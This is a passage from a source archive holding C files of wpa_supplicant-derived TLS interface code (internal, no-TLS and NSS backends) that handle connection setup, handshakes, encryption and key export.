#endif /* CONFIG_TLS_INTERNAL_SERVER */ } os_free(global); } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; struct tls_global *global = tls_ctx; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (!global->server) { conn->client = tlsv1_client_init(); if (conn->client == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (global->server) { conn->server = tlsv1_server_init(global->server_cred); if (conn->server == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) tlsv1_client_deinit(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) tlsv1_server_deinit(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_established(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_established(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return 0; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_shutdown(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_shutdown(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_CLIENT struct tlsv1_credentials *cred; if (conn->client == NULL) return -1; cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure client " "certificate"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); tlsv1_cred_free(cred); return -1; } if (tlsv1_client_set_cred(conn->client, cred) < 0) { tlsv1_cred_free(cred); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_SERVER struct tls_global *global = tls_ctx; struct tlsv1_credentials *cred; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; tlsv1_cred_free(global->server_cred); global->server_cred = cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure server " "certificate"); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_SERVER */ return -1; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } int tls_global_set_verify(void *tls_ctx, int check_crl) { struct tls_global *global = tls_ctx; global->check_crl = check_crl; return 0; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_verify(conn->server, verify_peer); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keys(conn->client, keys); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keys(conn->server, keys); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_prf(conn->client, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { return tlsv1_server_prf(conn->server, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT u8 *res, *ad; size_t res_len, ad_len; struct wpabuf *out; if (conn->client == NULL) return NULL; ad = NULL; res = tlsv1_client_handshake(conn->client, in_data ? wpabuf_head(in_data) : NULL, in_data ? wpabuf_len(in_data) : 0, &res_len, &ad, &ad_len); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); os_free(ad); return NULL; } if (appl_data) { if (ad) { *appl_data = wpabuf_alloc_ext_data(ad, ad_len); if (*appl_data == NULL) os_free(ad); } else *appl_data = NULL; } else os_free(ad); return out; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_SERVER u8 *res; size_t res_len; struct wpabuf *out; if (conn->server == NULL) return NULL; if (appl_data) *appl_data = NULL; res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), &res_len); if (res == NULL && tlsv1_server_established(conn->server)) return wpabuf_alloc(0); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); return NULL; } return out; #else /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_client_decrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_resumed(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_resumed(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_set_cipher_list(conn->client, ciphers); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_cipher_list(conn->server, ciphers); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { if (conn == NULL) return -1; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_cipher(conn->client, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_cipher(conn->server, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_hello_ext(conn->client, ext_type, data, data_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keyblock_size(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keyblock_size(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } bully-1.4-00/src/crypto/tls_none.c000077500000000000000000000075631361530463600170430ustar00rootroot00000000000000/* * SSL/TLS interface functions for no TLS case * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls.h" void * tls_init(const struct tls_config *conf) { return (void *) 1; } void tls_deinit(void *ssl_ctx) { } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { return NULL; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { return -1; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } bully-1.4-00/src/crypto/tls_nss.c000077500000000000000000000361761361530463600167110ustar00rootroot00000000000000/* * SSL/TLS interface functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common.h" #include "tls.h" static int tls_nss_ref_count = 0; static PRDescIdentity nss_layer_id; struct tls_connection { PRFileDesc *fd; int established; int verify_peer; u8 *push_buf, *pull_buf, *pull_buf_offset; size_t push_buf_len, pull_buf_len; }; static PRStatus nss_io_close(PRFileDesc *fd) { wpa_printf(MSG_DEBUG, "NSS: I/O close"); return PR_SUCCESS; } static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov, PRInt32 iov_size, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size); return PR_FAILURE; } static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *end; wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount); if (conn->pull_buf == NULL) { wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet"); return PR_FAILURE; } end = conn->pull_buf + conn->pull_buf_len; if (end - conn->pull_buf_offset < amount) amount = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, amount); conn->pull_buf_offset += amount; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); os_free(conn->pull_buf); conn->pull_buf = conn->pull_buf_offset = NULL; conn->pull_buf_len = 0; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return amount; } static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *nbuf; wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount); nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount); if (nbuf == NULL) { wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the " "data to be sent"); return PR_FAILURE; } os_memcpy(nbuf + conn->push_buf_len, buf, amount); conn->push_buf = nbuf; conn->push_buf_len += amount; return amount; } static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, const PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr) { wpa_printf(MSG_DEBUG, "NSS: I/O getpeername"); /* * It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a * fake IPv4 address to work around this even though we are not really * using TCP. */ os_memset(addr, 0, sizeof(*addr)); addr->inet.family = PR_AF_INET; return PR_SUCCESS; } static PRStatus nss_io_getsocketoption(PRFileDesc *fd, PRSocketOptionData *data) { switch (data->option) { case PR_SockOpt_Nonblocking: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)"); data->value.non_blocking = PR_TRUE; return PR_SUCCESS; default: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)", data->option); return PR_FAILURE; } } static const PRIOMethods nss_io = { PR_DESC_LAYERED, nss_io_close, nss_io_read, nss_io_write, NULL /* available */, NULL /* available64 */, NULL /* fsync */, NULL /* fseek */, NULL /* fseek64 */, NULL /* fileinfo */, NULL /* fileinfo64 */, nss_io_writev, NULL /* connect */, NULL /* accept */, NULL /* bind */, NULL /* listen */, NULL /* shutdown */, nss_io_recv, nss_io_send, nss_io_recvfrom, nss_io_sendto, NULL /* poll */, NULL /* acceptread */, NULL /* transmitfile */, NULL /* getsockname */, nss_io_getpeername, NULL /* reserved_fn_6 */, NULL /* reserved_fn_5 */, nss_io_getsocketoption, NULL /* setsocketoption */, NULL /* sendfile */, NULL /* connectcontinue */, NULL /* reserved_fn_3 */, NULL /* reserved_fn_2 */, NULL /* reserved_fn_1 */, NULL /* reserved_fn_0 */ }; static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return NULL; } void * tls_init(const struct tls_config *conf) { char *dir; tls_nss_ref_count++; if (tls_nss_ref_count > 1) return (void *) 1; PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1); nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant"); PK11_SetPasswordFunc(nss_password_cb); dir = getenv("SSL_DIR"); if (dir) { if (NSS_Init(dir) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) " "failed", dir); return NULL; } } else { if (NSS_NoDB_Init(NULL) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) " "failed"); return NULL; } } if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed"); return NULL; } if (NSS_SetDomesticPolicy() != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed"); return NULL; } return (void *) 1; } void tls_deinit(void *ssl_ctx) { tls_nss_ref_count--; if (tls_nss_ref_count == 0) { if (NSS_Shutdown() != SECSuccess) wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed"); } } int tls_get_errors(void *tls_ctx) { return 0; } static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd) { struct tls_connection *conn = arg; SECStatus res = SECSuccess; PRErrorCode err; CERTCertificate *cert; char *subject, *issuer; err = PR_GetError(); if (IS_SEC_ERROR(err)) wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err " "%d)", err - SEC_ERROR_BASE); else wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)", err); cert = SSL_PeerCertificate(fd); subject = CERT_NameToAscii(&cert->subject); issuer = CERT_NameToAscii(&cert->issuer); wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'", subject, issuer); CERT_DestroyCertificate(cert); PR_Free(subject); PR_Free(issuer); if (conn->verify_peer) res = SECFailure; return res; } static void nss_handshake_cb(PRFileDesc *fd, void *client_data) { struct tls_connection *conn = client_data; wpa_printf(MSG_DEBUG, "NSS: Handshake completed"); conn->established = 1; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io); if (conn->fd == NULL) { os_free(conn); return NULL; } conn->fd->secret = (void *) conn; conn->fd = SSL_ImportFD(NULL, conn->fd); if (conn->fd == NULL) { os_free(conn); return NULL; } if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess || SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess || SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: Failed to set options"); PR_Close(conn->fd); os_free(conn); return NULL; } SSL_ResetHandshake(conn->fd, PR_FALSE); return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { PR_Close(conn->fd); os_free(conn->push_buf); os_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return conn->established; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* NSS does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { if (conn == NULL || server_random_first) { wpa_printf(MSG_INFO, "NSS: Unsupported PRF request " "(server_random_first=%d)", server_random_first); return -1; } if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) != SECSuccess) { wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor " "(label='%s' out_len=%d", label, (int) out_len); return -1; } return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct wpabuf *out_data; wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u", in_data ? (unsigned int) wpabuf_len(in_data) : 0); if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); } SSL_ForceHandshake(conn->fd); if (conn->established && conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = os_malloc(1); } if (conn->push_buf == NULL) return NULL; out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (out_data == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *buf; wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes", (int) wpabuf_len(in_data)); res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0, 0); if (res < 0) { wpa_printf(MSG_ERROR, "NSS: Encryption failed"); return NULL; } if (conn->push_buf == NULL) return NULL; buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (buf == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *out; wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes", (int) wpabuf_len(in_data)); if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0); wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res); if (res < 0) { wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int 